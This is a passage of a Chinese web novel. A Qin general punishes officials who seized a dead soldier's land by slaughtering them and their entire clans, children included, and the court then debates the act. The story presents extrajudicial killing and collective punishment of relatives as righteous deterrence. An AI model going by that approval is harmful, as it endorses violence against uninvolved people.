赵诚就见到一个面色枯槁头发狼狈、眼眶通红的女人拉着一男童匆匆走出。
他刚刚听到女人的话已是满身煞气,猝不及防之下未来得及收敛,就与其照面。
然而那女人与孩童见了赵诚,却只有无尽敬重,领着孩子噗通跪在地上。
“不知道大将军亲至,让大将军站在外面,这太失礼了,大将军莫怪。”
“无妨,我杀伐重,怕冲撞了老人家。”赵诚见那小童偷偷看自己,也有些奇怪,“孩子,你不怕我?”
男孩终于抬头,正大光明地看赵诚,眼中崇敬,似是闪烁着星光。
“为啥要怕?我又不是将军的敌人,只有敌人才该害怕将军!”
“而且,娘亲说大将军是天下最好的人,爹爹虽然不在了,但将军会把我们接去颍川郡护着我们嘞。”
“这些日子,她每日念叨着,盼着有人能帮我们,现在见到将军,我快要高兴死了,怎会见到将军就害怕呢?”
原来如此,若是发自内心地亲近崇敬,就算再面目狰狞,也不会觉得可怖。
赵诚看了眼一旁的扶苏。
扶苏察觉到他的目光,不服气地嘟囔道,“吾现在也不怕。”
赵诚揉了揉男孩的脑袋,“起来吧,你父亲是好样的,在战场上非常英勇,杀敌无数,他是我秦国的英雄,你该挺直腰杆昂着脑袋。”
男孩站起身来,如赵诚所说,挺直了脊梁,昂起了头颅。
“将军,我以后也要跟着你打仗!”
赵诚脸上露出一丝笑意,“那你可要好好吃饭,好好锻炼。”
“之后到了颍川郡,我会为你们建立私学,修炼炼体之法,想要跟我打仗,就好好修炼,达到标准,才能进入血衣军。”
男孩学着父亲教给他的那样,肃拜行军礼,“是,将军!”
赵诚失笑。
此时,封不救二人走了出来。
“爵爷,没有大碍了,看样子,是受到钝器重击导致的骨骼断裂,伤及内腑。”
“老人家体弱,还需要一些固本培元的药才能稳住情况。”
赵诚点了点头,丢出两块金子,“你们去准备。”
药无医立刻前往县廷医馆购买药材。
而赵诚则是对着母女说道,“有什么委屈,尽管说来,我给你们做主。”
他虽然算到了许多东西,但还有许多细节需要确定。
女人擦掉了眼泪,眸子里面也闪过恨色,“我家男人是中央军的材官,本来官家分配给我们的田地比正常军士要多上一些,家里过得还算不错。
但那吕家屡次三番找到我们,说我家男人不在,我们这么多的田也耕不过来,干脆承包给他们来耕种。”
“我们拒绝了几次,他们忌惮我男人在中央军,不敢强逼,也就作罢。”
“但前段时日,黄胜阵亡在外,那县廷说什么按军爵律,应要降爵继承,去了我们百亩田产,全都分配给了吕家。”
“这也就罢了,我家男人虽然阵亡了,但他在战场上立功不少,按理说,就算他死了,县廷也会补偿给我们一些田产。”
“但那乡啬夫以“田官课殿需重新核查土地”为由,私自篡改田界文书,将我家的八十亩熟地划入吕氏名下,另以偏远山地充数……”
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第114章 就算那血屠真来了,他也得遵照律法!
“我自然不服,这是我男人用命搏回来的,怎么能任由他们强夺?”
“我拿着黄胜的“斩首拜爵牒”向县廷申诉。
赵甲却以未及时办理继承文牍为由驳回,并援引《军爵律》说什么未拜而死不得受赐!”
“他胡扯!黄胜阵亡之前,就已经立功拜爵,只是赏赐没到而已,他们欺负我们孤儿寡母不懂律法。
但就算不懂律法,我至少知道,隔壁县的老张立功不如黄胜,死后尚且封赏更多,黄胜怎会比他差?”
“我说要告到廷尉府去,那乡啬夫又说秦律规定,越诉者笞四十,吕家也说,敢闹就告发我们私藏兵器,当黥为城旦!”
“他们人多势众,若是偷偷藏了兵器进我家,这事情就要牵连到小石头,我只能忍气作罢。”
“我家老娘咽不下这口气,去吕家门口要讨个公道,与那家仆撕扯起来,被他们家仆打成重伤。”
“老娘本就身体不好,如今这样我只能先照顾她,再闹下去,耽误了老娘病情不说,还可能牵连小石头,我也不敢再闹了。”
“好在……将军来了……”
至此,赵诚已经和所算到的事件始末一一对应上了。
他点了点头,突然轻喝一声,“顿弱!”
暗中跟随的顿弱浑身一个激灵。
这能发现我的?
不是,我已经跟了快一个月了,你今天突然说你一直知道???
他倒不是为了跟踪赵诚,主要是要看着扶苏,为嬴政汇报扶苏变化。
如今扶苏也跟来了,他自然也跟来了。
现在事情演变到这个地步,显然不能善了,但这事能扯皮的地方太多了,处理不好就是一身骚,他也不好掺和。
但赵诚已经点出,他也只好现身。
“大良造。”
赵诚看着他,问道,“狄道县县廷与地方豪强勾结,压迫遗属,该如何处置?”
顿弱说道,“此事若是证据确凿,该上报廷尉,依律斩之,夷三族。”
赵诚突然提戟在手,“那你去上报吧,我来夷他三族。”
顿弱眼角一跳,看着那双尸山血海般的凶眸,知道赵诚今天恐怕是要大开杀戒。
劝是劝不得的,也不敢劝。
“是。”
只得应了一声,快马加鞭向着咸阳城赶去。
而另一边,灵鸢已经带着人赶回。
“爵爷,黄胜家田产的田界标识被改动,且山地实为恶田。”
按《田律》,恶田不得充抵军功田。
“这是县廷伪造的土地登记文牍,上面将黄胜的田产,划入了吕家。”
“这是吕家账本,有向县廷行贿的凭证。”
赵诚扫了一眼,“好啊,今天一个都跑不掉。”
今天不但要杀,还要大张旗鼓地杀,光明正大的杀!
务必杀得秦国四方,满朝上下沸反盈天!
不然何以正军威?
……
狄道县县廷。
“刘县令!此事我再劝你一次,那黄胜是阵亡在灭韩一战,跟的是那位血屠阎罗,如今那人已是上将军,更是爵至大良造!”
“听闻其人杀敌酷烈,却极为护短。”
“你如此行事,若是被他知道了,怕是讨不到好去!”
一名身着铠甲的黝黑男人站在县廷之中,对着县令劝诫。
此人正是狄道县的县尉。
地方军政的主管,也算是军中人物,自然对于赵诚十分崇敬,对于县令行事颇为看不惯。
县令肥头大耳,伸出手指一抹八字胡,趾高气扬,“县尉大人,你治你的军,我治我的政,这些事都是下面的人做的,与本官有何关系?”
“再者说,这些事情也都是依律而行,就算那血屠来了,他也得遵照律法!”
“你当这是战场不成?他到这里来,还敢杀了本官?”
“此事说破天,本官也就是个治下不力,乡啬夫最多也是律法不精,但都是按照律法来的,有什么问题?”
这事情做多了,后路也都找齐了,他自然有恃无恐。
县尉也拿他没有什么办法,他的亲眷都在此地,而那吕家之中,更有强人存在,他投鼠忌器,也不敢做些什么。
只得叹了口气,准备离开。
正此时,一头发乱蓬蓬的狼狈女人闯入县治。
“刘县令,我男人的事,还请你秉公处理!”
县令一看此人,顿时面露厌恶之色,“滚出去,谁让你闯到这里来的!?”
“县卫呢!?怎能放一个妇人闯入县治!都是干什么吃的!?”
“来人!”
他正叫人,却突然感觉房间一暗,一个魁梧身影踏入县治,遮蔽了门口天光。
煞气瞬间盈满房间,使得周围温度直线下降。
杀机如潮,县令一个哆嗦,浑身如坠冰窟。
“刘县令好大的威风!”
冷冷的声音在屋中响起,此时他的眼睛终于适应了光线,看清了来人,不由得心头一寒。
这将军大铠,擎天巨戟,再看那玄绶金印,雄武魁躯。
不是那声名赫赫的血屠阎罗又能是何人!
真就来了!?
无边煞气滚滚而来,好似有血海汹涌奔腾撞入整个房间。
县令只抬头看了一眼,当时就是脸色一白,双腿发软,一颗心突突直跳。
“什么风将大良造都吹来了?快快请坐!”
他勉强挤出笑意,一边客套,一边心念急转。
思来想去,这事情推给手下,也不过是扯扯皮的事情,几句话就能将自己摘出去。
这血屠再凶恶,还能违背秦国律法,将他杀死在县治不成?
赵诚将灵鸢和封喉们带回来的证据案牍放在案头。
“不必了,叫上你的班底,出来领死。”
县令当下心头一沉,真这么莽?
还是在吓唬人?
他细长的眼睛一转,觉得赵诚还是吓唬他的,他也不能被这势头唬住,自乱阵脚,失了先机。
于是再次挤出笑容来,“大良造,这是说的哪里话?”
“小的有什么地方处理得不妥当,大良造指示便是,本官作为县令,真是有什么死罪,也得经廷尉府查明,经重重会审,确立罪名,才能斩了小的啊。”
“大良造还是莫要吓唬小的了,小的有什么错处,还请尽管说来,咱们说清楚,讲明白,什么问题都是可以解决的嘛……”
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第115章 杀他个天下胆寒!杀他个世人皆知!
“要指示?可以。”
赵诚并不与刘县令多言,转身向外走去,只留给刘县令一个冰冷的背影。
“给你一盏茶时间,把涉事的相关官员都找齐了,前来领死。
做好了,能给你们家里留个老弱妇孺,要是过了时候本将没见到人……”
“所有涉事者,三族上下,鸡犬不留。”
刘县令终于意识到了问题的严重性。
他做的这些事,都是有手法的,遇到谁来,只要估计秦国律法,那都能扯上一扯,将他自己摘干净。
但架不住这血屠不讲道理,直接就要杀!
对敌国如此也就罢了,在秦国内也能如此霸烈?
刘县令惊疑不定,脑袋上已经冒出了汗水。
留给他的时间不多了。
可他始终坐在县治之中没有动,他这样的人,哪里会管什么三族妇孺?
别说三族,就算是九族,又哪里有自己的命重要?
此时就是天王老子来了,他也不能出去领死,就赌赵诚不敢违背律法杀他!
至于案台上的证据,他是一眼都没有看。
他自有自己的一套证据,只要今天活下来,事情就有的是回旋的余地。
可说是一盏茶,实际上,只过了半盏茶不到。
就开始有封喉陆续绑了涉事官员来。
“你们是何人?!”
“我是乡啬夫,你们凭什么抓我?是何官职,受谁的令!?”
“如此行事,与盗匪何异?我要见县令大人!”
“县令大人,有贼人闯入县廷,快请县尉带兵绞杀!”
“是你这泼妇,难不成你还敢雇凶杀我等不成?你儿子的命不要了?”
一排排涉事官员,被按着跪在县廷院外。
有人探头探脑,透过门口看到了后面的黄胜妻子,开始用她儿子对其威胁恐吓。
这把刘兰气得双眼通红。
“他们也没什么活头了,有什么气就撒出去,不要憋坏了身子,去吧。”
赵诚发话了,刘兰立刻便冲上前去,对着那乡啬夫赵甲左右开弓,狂扇大嘴巴。
庭外噼啪作响,乡啬夫开始还在怒骂,甚至想要反抗。
被封喉一压,骨头都断了几根。
更有人给刘兰送上了木杖,刘兰举着木杖,劈头盖脸就砸,那赵甲脑袋都快肿成了猪头。
很快就开始惨叫哀嚎。
其余官员见状,心惊肉跳。
“你……你这泼妇,你怎敢如此!?”
“简直没了王法!”
“大胆!你如此犯法,是要连坐的!”
“我看你这泼妇是活够了!竟然敢在县廷行凶!来人,来人呐!”
“若非县令不在,怎会让汝等肆意妄为!”
“待县令大人回来,你们这些贼人全都要重罪刑之!”
他们还以为县令不在县廷之中,才能让这些贼人如此嚣张。
殊不知,现在的县令满头冷汗涔涔而下,根本不敢露头。
“怎会如此!?”
“怎会如此啊?”
“这血屠真就肆无忌惮乎?”
“他敢不经廷尉府审判私自杀人,不怕陛下治罪吗?”
“不,不对,他还没有杀人,他不敢杀人,这些阵仗不过是在吓唬我,想让我自乱阵脚,主动认罪!”
“稳住,稳住!”
他慌得要死,却强自克制,死死抓住那一丝侥幸,赌赵诚不敢杀人。
越来越多的人被押送来,设施官员的三族亲眷,全都被按着跪在他们的后面。
至此,这些官吏终于脸色大变,意识到了事情不对。
这真是要夷三族的节奏!
可这,未免太快了!
他们做的事,如此隐秘,真要夷三族,不也得掌握确凿证据,而后经过审理,才能夷三族吗?
这难道是自己失忆了,怎么就能跳过这么多步骤,直接在县廷外就要夷三族的呢?
到底是谁,有这么大手笔?
下一刻,一个险峰般挺拔的身影出现在所有人视线之中。
看到此人的一瞬间,所有人脑海之中都闪过四个字。
血屠阎罗!
看着眼前手笔,再联想到那军中传闻,他们哪里还不知道是这煞神来了。
八日灭韩,两月时间内,从入伍新兵成为秦国顶尖新贵,军功巨爵大良造!
秦国如今最年轻的上将军!
也是那黄胜战死沙场时,所跟随的将军。
他竟然来了!
一个新晋的军功大良造,真就为了一个伍长来了,大费周章违背律法,要夷他们三族?
简直荒唐!
“大良造,你滥施私刑,这不合秦律!”
“我等犯了何罪,自有廷尉府裁决,你就算是大良造,也不能如此行事!”
“你就不怕陛下治你的罪吗?”
绝望之中,他们开始了最后的挣扎。
赵诚大戟一扫,顿时头颅滚滚,鲜血横流。
县廷之外,瞬间一片安静。
所有官吏不敢置信地看着这一幕。
二话不说就开杀!
此人,真就连王法都不忌惮,连陛下都不畏惧吗?
他就没有什么要顾忌的事情吗??
众官吏第一次感受到死亡如此临近,他们还有许多钱没花,还有许多要享受的东西没有享受,不能就这么死了啊。
有人疯狂挣扎,有人亡魂皆冒,有人瘫软在地,有人屁滚尿流。
赵诚的耳朵是消停了,但鼻子却不消停起来。
好在大戟一扫,罡风扫尽腌臜气,恢复朗朗清风。
他扫视狼狈不堪的众官吏,竟无一人敢抬头看上一眼。
不由得嗤笑一声,“将士遗属的军功田都敢贪,却不敢看本将的大戟一眼,你们的胆子都是长在屁股上的吗?”
赵诚嗤笑一声,挥戟下令,“都杀了!”
封喉与亲卫同时下手,杀的人头滚滚。
人群中顿时惨叫连连,凄厉惊呼连绵不绝。
扶苏站在赵诚身边,看着外面一幕,极为不忍。
“这……大良造,真要三族尽杀吗?还有许多妇孺啊。”
然而赵诚目光冷硬,眸锋如刀,“杀!”
“不斩尽三族,何以立此威?”
“前军将士喋血沙场,后方蠹虫贪赃枉法,欺辱军士遗属!”
“今日吾不屠之,来日必有墨吏心存侥幸,敢触秦法底线者接踵而至。”
“既已抓住,便要杀个彻底!"
"杀他个天下胆寒!"
“须令世人皆知,敢侵烈士田亩,辱阵亡家眷者,律法也保不住他们。”
“吾尽屠之!”
第116章 尸山上留了位子,请刘县令入座。
看着那无一丝柔软踌躇的目光,扶苏的仁心突然被撼动了。
这些人的亲眷是妇孺,那些为国征战喋血沙场的将士的亲眷就不是妇孺吗?
他们付出更多,连命都拼出去了。
难道他们的老父老母,妻子儿女,还要受那些蛀虫欺压吗?
他握紧了拳头,心中所学与眼前此景剧烈对抗着。
突然,一道闪电好似划过他的脑海。
“子曰:君子不重则不威。”
“既然要下手,就必须够重,才能立起威严来!”
“大良造诚不欺我,此时若是妇人之仁,以后那些将士的亲眷,又有谁来守护?”
今日他救下这十几名孩童,未来或许就有千千万万战死沙场的将士之子受尽欺辱。
扶苏不愿去看门外惨像,也不愿看到未来有千千万万遗属受此欺辱。
而屋里,刘县令听着门外惨叫惊呼声不断,无尽血腥气飘进县廷之中,这屋子里浓郁的几乎化不开。
他浑身抖若筛糠,拼尽全力才没有让屎尿奔涌出来。
“完了!”
“完了啊!!”
“吕氏误我!本官怎会听了他们的,昏了头去做这阎王爷手下的手脚?”
“如何是好,如何是好啊!?”
“不行,我刘家至少也得留个香火!”
他余光突然瞥见县尉还站在屋子里,顿时好似看到了救星,“县尉,县尉大人,这血屠发了疯,只有你能力挽狂澜了!”
“快快调出县中兵马拦住他!他如此行径,与敌人何异?”
县尉回过神来,冷冷看了县令一眼,突然嗤笑一声,“现在知道怕了?”
“晚了!”
“上将军给过你机会,也给过他们机会,你们自己不抓住,又赖得了谁?”
“将军为我军中将士出头,我是昏了头去帮你们拦住他?”
“连你一起,这些人有一个算一个,将军没错杀一个!”
"某只能说,杀得好!"
他一按佩剑,大踏步走出门去。
独留刘县令瘫坐在地,听着庭外家眷声声求救,心如死灰。
庭外每一道声音,都让刘县令浑身肥肉剧颤一下。
比死亡更可怕的,是等待死亡的时间。
恐惧的增加好似没有上限,也没有尽头一般。
他以为外面声音最激烈时,他最害怕。
但实际上却是,那声音越是稀落,他的心里越是害怕。
当到了最安静时,他也到了最恐惧的时候。
这恐惧如同吃人一般,好似能够将其活活吓死。
但他没死,因为恐惧真的没有尽头。
赵诚身影再次踏入房间时,他才发现,原来他的恐惧,还没有达到极限,还能再上一个台阶。
魁躯身影遮蔽天光,房间昏暗。
赵诚的声音犹如阎王爷在生死簿上勾掉了他的名字,并打上了十八层地狱的标签。
“我在尸山上,给你留了位置,请刘县令入座。”
不久之前,他还谈笑风生,请赵诚入座。
如今却是赵诚请他入座,但情境已是天差地别。
那时的他,无论如何也不相信,事情会演变到如此地步。
天塌地陷也不过如此。
赵诚以绳索拖着刘县令到庭外,在其活生生吓死之前,一戟斩去了他的脑袋,不偏不倚落在尸山最上首。
而后他大戟一挥,罡风所过之处,在军爵公示碑的背面,出现了一行大字,笔锋如血。
“敢侵死士田亩、辱阵亡家小者,吾赵诚尽屠之!”
嗤的一声,改田文牍等确凿证物被一柄利剑钉在碑旁。
如同将这一县墨吏永久钉在耻辱柱上,供后人唾骂。
寒风猎猎。
大氅翻飞之际,赵诚已然策马而去,亲卫与封喉紧随其后,直奔吕氏大宅。
吕氏有一闻名周遭数县的强人,人称吕家二爷,身怀奇技,能开碑裂石。
被灵鸢一刀砍了。
而后赵诚再掀腥风血雨,吕氏百年大族,迎来灭顶之灾。
尽屠吕氏之后,赵诚回到黄家老宅,黄胜老母已经能够下床走动。
老人家第一时间要给赵诚行大礼,赵诚不受,将其扶起,令亲卫与封喉护送一家前往颍川郡,而后策马回程。
一来一去,不过一日。
但秦国上下,已然掀起轩然大波。
消息像是长了翅膀一样,飞向各个大臣的府邸。
……
“赵诚此举,形同私刑!未经廷尉勘审便夷人三族,是视秦法如草芥,视君上如无物!”
“灭韩之功固重,然法度乃国之权衡。今他持功妄为,竟代廷尉行生杀之权,长此以往,秦律威严何在?”
“放肆至极!郡县案牍自有成法,需经县道覆核、廷尉断谳方可定谳。
他一言不合便尽屠县吏豪强,是将大王亲定的‘刑不上大夫,礼不下庶人’抛诸脑后了吗?”
“今日敢越俎代庖屠灭县道,明日便敢持兵胁迫朝堂!此风绝不可长——吾等当速奏君上,劾其专擅杀伐之罪!”
赵诚此举,触碰了太多人的神经。
很快,昌平君带着楚系官员、李斯带着客卿官僚集团进宫面见秦王,要弹劾赵诚。
与此同时,王翦蒙武等大将,也各自带着麾下武将进宫,面见秦王吗,要力保赵诚。
赵诚此举,极大震慑了那些钻律法空子的墨吏,对于军方来说,绝对是有益无害。
而且,此举更是为军中将士出头,使其在军中声望更胜从前。
他们若是不来保一保赵诚,手下的将士们都不干。
却说章台宫后殿之上,群臣激愤,慷慨陈词,引经据典,痛斥赵诚。
“陛下!昔年商君立木为信,方有今日秦法严明。今上将军凭一己之怒坏法,是欲毁商君百年来创下的根基?臣请大王治其不臣之罪!”
“三族之刑,需得大王朱批、廷尉府文书齐备方可施行。
他带人直接围了县寺,刀斧齐下之时连卷宗都未曾翻阅,这与六国乱兵何异?”
“陛下,他今天敢屠戮县廷,明天就敢屠戮朝廷啊……”
嬴政坐于王位,俯瞰群臣,面色深沉,威严似海。
实则头疼不已。
还是找个由头赶紧发兵攻赵吧。
这小子才在咸阳城里面待了多久,就捅了这么个篓子出来。
再呆上两月,这些文臣就要发疯了。
第117章 殿前激辩,赵诚初请君削爵!
实际上,嬴政对于赵诚此举,并无愤怒不满。
在行动之前,赵诚让顿弱去报与廷尉,实则是给嬴政通气。
此事来龙去脉,顿弱在回程路上就整理清楚了,呈于嬴政。
嬴政也是震怒,这些墨吏,是在掘大秦根基!
但若是完全按照律法来治罪,却很难根除顽疾。
就算让李斯亲自处理,也有太多模糊的地方,一时半会,是绝对处理不清楚的,还可能被墨吏钻了空子,脱罪而去。
若是传开,更可能使军心不稳,后患无穷。
可不按律处理,又不符合秦国国法,要和那些大臣扯皮。
你来我往,极为麻烦。
还不如像现在这样,事都让赵诚干了,罪过也都被他一肩担了,
虽然也在扯皮,但批判的是赵诚,又不是他嬴政。
以前群臣批判争辩的,都是他嬴政定下的举措,他虽然不屑于争辩,亦可一肩担之,但听久了难免觉得麻烦。
但如今,这朝堂上,三天两头围绕赵诚批判争辩。
只能说,后继有人呐。
嬴政背脊如剑,长眸深邃,帝王威严深不可测。
实则老神在在地看着热闹。
所以赵诚这事,表面看似做得肆无忌惮,但实际上却是快刀斩乱麻。
此事如其人,亦如其军风。
简单直接,霸烈利落。
让嬴政心里也是感到一阵痛快。
此时,武将一侧,王翦当先有了动作。
他按剑上前,声如洪钟。
“陛下,赵诚虽未循廷尉旧例,然所诛者皆为蛀虫!”
“战死将士尸骨未寒,家小却被墨吏豪强夺田辱没——此等事若不严惩,前线锐士闻之寒心,谁还愿为大秦死战?”
“这是修正大秦根基之举,臣以为此功可抵其过!”
蒙武亦随之进言,语气沉凝。
“商君立军功爵制,正因‘有功必赏,有冤必雪’。
今赵诚虽有越权之举,却是为护阵亡者血功,以安三军之心。
若治其罪,恐令将士疑‘功可被夺,冤无人理’,于大局而言,极为不利!”
在他之后,更有杨端和挺身上前,语气激昂,“臣请陛下明察!”
“那县令勾结豪强,侵吞的何止是田亩?
而是锐士用命换来的军功啊!
是我大秦锐士之军心啊!
赵诚此举,是替战死袍泽讨还公道,军中皆言,此乃铁血护秦,非为私怨!”
李信再补一言,直击要害,“秦法固然严明,然军心更是国本。
今六国未灭,正需将士用命之际。
赵诚虽有过,其心可鉴:杀一儆百,令天下皆知‘辱军者虽远必诛’。
此功若掩,过罚太重,恐寒了全军将士之心!”
蒙武继而躬身。
“臣请君上罚其‘不循程序’之过,可削食邑、夺仪仗,以儆效尤。
但求留其爵位兵权——诸国未平,正需赵诚这般能镇住军心、震慑宵小之国柱!”
听到这些武将今日也开始口齿伶俐起来,一群文臣哪里肯干。
“王将军、蒙将军此言差矣!”
廷尉李斯执笏而出,语调冷峻如铁,“军心固重,法度更重!
秦之所以强于六国,非仅靠锐士,更靠‘一断于法’!
昔商君变法,立‘刑无等级’之规,便是要防‘功高者可越法’!”
李斯原本与军功爵集团关系很近,但这事关乎到以法立国的根本。
而以法立国则是他李斯成就事业的根本。
这是大道之争,自然不能相让。
赵诚此举,在他的理论体系来看,确确实实是动摇秦国根基之举。
他完全不能容忍。
御史大夫王绾紧随其后,声如金石:“赵诚护阵亡将士,其心或可谅,然其行却在毁秦之根基!
今日他以‘护军功’为由私行杀伐,明日便有人以‘安军心’为由擅调甲士,后日更有人以‘灭六国’为由要挟朝堂。
法度一旦崩坏,君权以何立之?”
淳于越也是激昂表态,“蒙将军言‘削食邑可儆效尤’,臣不敢苟同!”
“三族之刑,乃国之重典,非廷尉勘审、君王批决不可用。
今赵诚绕开廷尉、不禀君王,直接挥刀,是将‘君命’‘国法’皆踩于脚下!
此风若纵,便是告诉天下:只要理由‘正当’,便可无视律法,那商君当年立在咸阳的法碑,不如推倒算了!”
他本就看不惯赵诚的“残暴不仁”,如今赵诚更是带着扶苏行此血屠之事,他快要气死了。
现在只要能扳倒赵诚,别说帮法家说话,就算是把屁股挪到法家那边去,那也是心甘情愿!
李斯看了淳于越一眼,再次说道,“军中将士若闻‘侵田辱属者必诛’而勇,是因信秦法会为他们做主。
若闻‘赵将军私刑可复仇’而勇,那便是信‘权臣之刀’而非‘大秦之法’!
前者是忠君信法,后者是结党恃权,陛下,此中利害,关乎国本!”
这更是诛心之言。
将赵诚和秦国直接放在了对立面,嬴政若是听进去了,很可能将赵诚当做功高盖主的权臣,且这权臣军望极高,自然应该忌惮。
由此来看,当然也该重罚除之!
但让李斯看不懂的是,一向忌惮分权,警惕权臣的嬴政,此时却面色如常,丝毫没有一点受到影响。
倒是蒙武气坏了,跳出来又是一番驳斥,就差指着李斯的鼻子骂了。
“李廷尉此言,本将不敢苟同!”
“秦法之本,在‘护耕战、安社稷’。
战死将士的军功田,是法所明定的‘功赏’。
遗属不受欺凌,是律所严规的‘民安’。
今墨吏豪强联手毁法,夺功赏、辱阵亡家小,已是先坏了商君所立的耕战根本……”
自然又是一番激烈的唇枪舌剑。
嬴政在案台之后看着听着,面色如常,心思早已飞到了另一处。
该以什么由头把赵诚派出去攻赵呢?
正这时,谒者令来传,“陛下,上将军赵诚求见。”
“让他进来,且听他如何分辩。”
赵诚龙骧虎步,大步入殿。
挺拔魁躯裹挟着杀戮无数的腥风,烈烈杀伐之气如山崩洪流而来,压得满殿文臣呼吸一窒。
他如入无人之境,穿过文武百官,站在殿下,双手一合。
张口干脆道,“臣有越权之罪,请陛下削臣的爵!”
第118章 天下熙熙,皆为利来,撕碎仁德的外衣!
“臣有越权之罪,请陛下削臣得爵!”
听到这话,各个文臣眼角一跳,武将更是深深闭目。
嬴政深吸一口气,“卿以为,此罪该削几爵?”
赵诚不假思索,“陛下裁定,即使削至公士,臣再上阵杀敌,灭国立功便是!”
何等底气!
何等气焰!
文臣气的跳脚,但转念一想,却还真是这么回事!
灭韩一战,两月不到,此人便是大良造了。
那赵国比之韩更强数筹,就算削到公士,灭赵之后,此人恐怕还要更进一步!
这可完了,这人如何能制?
文臣们初觉不妙,但此时还没有太放在心上。
殊不知,这句话在不久的未来,成为了他们的梦魇。
在这大殿之上,他们最怕的就是这血屠说出这句:
“臣有罪,请陛下削臣的爵!”
此时,大殿之上一片安静,嬴政静静看着赵诚不发一言,不知道在想什么。
大殿之上弥漫着威严的压迫感。
而赵诚亦如沉默的山岳一般,静立在大殿之下,巍然不动。
半晌,嬴政终于开口。
“此事,在上将军出手之前,廷尉府可有察觉?亦或者,诸卿有谁察觉到了?”
此话一出,文臣们面面相觑,都是不发一言。
李斯更是低下了头去。
嬴政轻哼一声,“廷尉府主管军功司法,狄道县令如此动摇国本之举,竟是毫无察觉,有其失察之罪!”
“罚没廷尉府上下三年俸禄,命汝等全力监察,不可再出现类似情况。”
“赵将军此举虽是扶正国本,护军心切,但确实不合法制,有越权之罪。”
“但若罪罚太重,此举震慑墨吏的效果就会大打折扣,将士们也难免寒心。”
“便削一爵,爵至少上造吧。”
“食邑、仪仗各削一级,其余不变。”
嬴政开口,尘埃落定。
众臣都没有再开口,毕竟嬴政的意思已经很明显了,大家都有问题,谁也跑不了。
现在谁跳出来,谁就也有失察之罪,到时候也得被罚。
而大良造被削至少上造,看似只削了一级,但这一级跨越之大,可是需要无尽军功的。
许多大将终其一生也未必能够跨越这一级。
所以已经算是重罚了。
只是想到赵诚攻城拔寨的勇猛,众大臣的心中难免蒙上了一层阴霾。
对于别人来说,这一级不好跨越,但是对于这血屠来说,恐怕又算不得什么。
陛下削了他的食邑和仪仗,但实际上的东西却没削多少,血衣军还是他在统领,军职依然没有变化,还是上将军。
也就是说,依然重用。
而只要大王还在重用他,他迟早会回到大良造啊。
这可如何是好?
赵诚自己也有些意外,没想到处罚这么轻,他都做好了被削四五级的准备,甚至被一撸到底也是有心理准备的。
“臣,恩谢陛下。”
……
血衣营中,众将士在拼命修炼,而扶苏则是蹲在一角,捧着一个大馍,却没有狼吞虎咽。
而是失神的看着众将士训练,目光定定的不知道在想些什么。
这几日以来,他都是如此,有些魂不守舍。
赵诚出现在血衣营中,看到这一幕,倒也没有催促扶苏。
人家老爹刚刚偏袒了自己,自己也该出点力,给人家带带孩子不是?
他走到扶苏身边,也蹲下来,如同一座小山坐在了小土包旁边。
虽然这小土包如今壮了些,但还是小土包。
和赵诚一比,依然小巫见大巫。
“在想什么?”
扶苏回过神来,见到是赵诚,抿了抿嘴,问出了自己的疑惑。
“上将军,我不明白,为什么秦国以法立国,如此严苛的律法,依然有官吏贪赃枉法,欺辱军士家眷?”
“若是如此重刑治国,都无法制止他们的这种行为,那若是仁治,又该如何杜绝?”
赵诚笑了,“天下熙熙,皆为利来;天下攘攘,皆为利往。”
“百姓如此,故军爵律可使我大秦有无上虎狼之师,诸国不敢撄锋。”
“官吏如此,故再重的刑罚,亦不可杜绝贪赃枉法,仁心又如何抵挡得住贪欲?”
“而诸国亦是如此,才有这百年乱战,惹得民不聊生。”
扶苏更是困惑,“若是如此,当年周朝礼制为何可以太平许多年,不但没有战事,百姓也能安居乐业?”
赵诚问道,“那你觉得,当年和今朝有什么关键的区别?”
扶苏说道,“是礼乐崩坏,仁心丧失?”
赵诚摇了摇头,“不,是利益变多了。”
扶苏更是困惑,“利益变多了?可这天下诸国还是天下诸国,土地依然是那些土地,哪里变多了?”
赵诚笑道,“周朝为何很少打仗?”
“因为他们的耕作效率太低,人口也少,打下再多的土地,也没有更多人力去开垦蛮荒,没有什么用处。
搞不出更多的粮食来,反而会成为国家的治理负担。”
“所以诸国不需要那些土地,也就没必要打仗,这种基于利益的克制,在周礼的话语体系中被赋予了仁德的外衣。”
“他们说,以仁政安天下,不以兵戈扰万民。
我仁德啊,我仁政啊,我为了太平盛世,我为了天下百姓,所以不去打仗。”
扶苏若有所思,细思极恐,感觉一直以来的世界观都在被颠覆。
是这样的吗?
真就如此虚伪吗?
因为无利可图才不打仗,却以仁政为名?
那他所坚持的,那些儒士博士所坚持的,原来只是一个虚伪的外衣吗?
怎可如此!
他本能的不服,追问道,“可后面为何又开始打仗了呢?”
赵诚说道,“因为铁器牛耕的普及,耕作效率提高了,人力做不到、做不完的事情,借助铁器耕牛都可以做完。”
“一个国家同样的人口下,可以开垦耕作的土地极大的扩张了。”
“所以每一个国家都可以吞下更多的土地,也不会治理不过来。”
“如此,打仗便是有利可图,各国就开始互相征伐。”
“所以,利益撕碎了仁德的外衣,持起兵戈,斩下滚滚人头。”
真相如此血淋淋,如此残忍可怖。
如同被赵诚按着脑袋凝视深渊,人性的恐怖让扶苏惊惧。
他一时无法接受。
第119章 嬴政:吾道不孤!神女惊现咸阳城。
“怎会如此?”
“就是如此。”赵诚继续说道,“孔子他老人家像你一样,有一颗赤诚仁心,不忍看到诸国征伐,民不聊生。”
“但他当时已经不是贵族,无资格治政,所以他广收门徒,想要恢复周礼仁政,去游说诸国国君,想要将仁政推行下去。”
“但可惜,真正的问题不出在仁政上,也不出在礼崩上,而是出在时代发展,耕作效率提升上。”
“利益之争,是无法制止的,即使是重刑恐吓,尚且无法杜绝,何况是人心之治。”
扶苏脸色微微发白,“可……可是这样说的话,征伐岂不是永远无休无止?”
“如果铁器耕牛不出现就好了。”
赵诚摇了摇头,“铁器耕牛是迟早会出现的,时代的浪潮奔涌向前,无人能够阻止。”
“更多的人能够吃饱饭,国家能够养活更多的子民,难道不是好事吗?”
这就和后来的工业革命一样,生产力的解放,往往会带来利益之争,以及百姓的阵痛。
这是大势所趋,无人能够阻止,即使是孔圣也是如此。
扶苏感到一直坚守的东西正在崩塌。
“所以你要看到仁政的背后,是无利可图。”
“礼崩的背后,是以利相争。”
“有利益的地方,争斗和铤而走险就永远不会停止。”
扶苏有些绝望,他着急再问,“那该如何杜绝?难道从此之后,世界就再也回不去周时那般仁政盛世了吗?”
赵诚看向拼命炼体的将士们,轻松笑道,“很简单,这就是你王父正在做的事情啊。”
扶苏意识到了什么,心中隆隆震骇,“这……”
